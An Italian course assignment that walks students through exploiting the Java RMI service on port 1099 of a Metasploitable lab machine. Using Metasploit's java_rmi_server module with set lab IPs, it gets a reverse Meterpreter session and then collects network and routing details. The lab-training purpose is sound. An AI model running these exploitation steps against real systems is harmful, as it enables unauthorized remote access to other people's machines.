Consegna S7-L5

Consegna: Metasploit e Java RMI

⚜️ **Tag:** #metasploit #javaRMI #hacking #meterpreter

Traccia

La nostra macchina **Metasploitable** presenta un servizio vulnerabile sulla porta **1099 – Java RMI**. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di **Meterpreter** sulla macchina remota.

Requisiti dell'esercizio

1. La macchina attaccante (**Kali**) deve avere il seguente indirizzo IP: **192.168.11.111**.
2. La macchina vittima (**Metasploitable**) deve avere il seguente indirizzo IP: **192.168.11.112**.
3. Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
    - **Configurazione di rete.**
    - **Informazioni sulla tabella di routing della macchina vittima.**

Istruzioni

1. **Avvio di Metasploit Framework:**
    - Eseguire il comando `msfconsole`.
2. **Utilizzo dell'exploit Java RMI:**
    - Selezionare l'exploit: `exploit/multi/misc/java_rmi_server`.
    - Configurare i seguenti parametri:
        - `RHOST`: **192.168.11.112**.
        - `LHOST`: **192.168.11.111**.

    - `LPORT`: **4444**.
  - Se necessario, modificare il parametro `HTTPDELAY` a **20** per evitare l'errore di timeout.
3. **Esecuzione dell'exploit:**
  - Avviare l'exploit con il comando `run`.
4. **Interazione con la sessione Meterpreter:**
  - Utilizzare `ifconfig` per ottenere la configurazione di rete.
  - Utilizzare `route` per ottenere la tabella di routing.

Risoluzione di errori comuni

Se viene riscontrato l'errore **RuntimeError Timeout HTTPDELAY**, configurare il valore del parametro `HTTPDELAY` a **20** e rieseguire l'exploit.

Output atteso

- **Configurazione di rete della macchina vittima** acquisita.
- **Tabella di routing della macchina vittima** acquisita.

🔑 **Chiavi:**
[metasploit, java rmi, hacking, meterpreter]